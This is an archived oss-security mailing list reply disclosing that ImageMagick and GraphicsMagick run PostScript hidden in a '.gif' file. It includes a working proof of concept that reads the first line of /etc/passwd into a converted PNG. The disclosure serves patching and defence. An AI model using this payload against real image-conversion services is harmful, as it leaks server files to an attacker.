[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <CAJ_zFkKmrvJ5KrBEWV=2RXA3MF5M-4c4_FvucO7vN_GESANCpg@mail.gmail.com>
Date: Wed, 28 Sep 2016 14:23:56 -0700
From: Tavis Ormandy <taviso@...gle.com>
To: oss-security@...ts.openwall.com
Cc: bfriesen@...phicsmagick.org
Subject: Re: ImageMagick identify "d:" hangs
On Wed, Sep 28, 2016 at 1:52 PM, Tavis Ormandy <taviso@...gle.com> wrote:
>
> It seems obvious you can manipulate the output based on this. I'd be
> interested to hear why I'm wrong about this.
>
Oh, you can just do this:
$ cat test.gif
%!PS
/Font /Helvetica-Bold findfont def
/FontSize 12 def
Font FontSize scalefont setfont
/dumpname {
dup % copy filename
dup % copy filename
print % print filename
(\n) print % print newlinea
status % stat filename
{
(stat succeeded\n) print
( ctime:) print
64 string cvs print
( atime:) print
64 string cvs print
( size:) print
64 string cvs print
( blocks:) print
64 string cvs print
(\n) print
(\n) print
}{
(unable to stat\n\n) print
} ifelse
.libfile % open as library
{
(.libfile returned file\n\n) print
64 string readstring
pop % discard result (should proably test)
dup % copy read string
print % write to stdout
% write to output
newpath 0 0 moveto show showpage
(\n) print
}{
(.libfile returned string\n) print
print
(\n) print
} ifelse
} def
(/etc/passwd) /dumpname load 256 string filenameforall
$ convert test.gif png:test.png
<creates a file called test.png containing first line of /etc/passwd>
Also seems to work with gm convert.
Tavis.
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
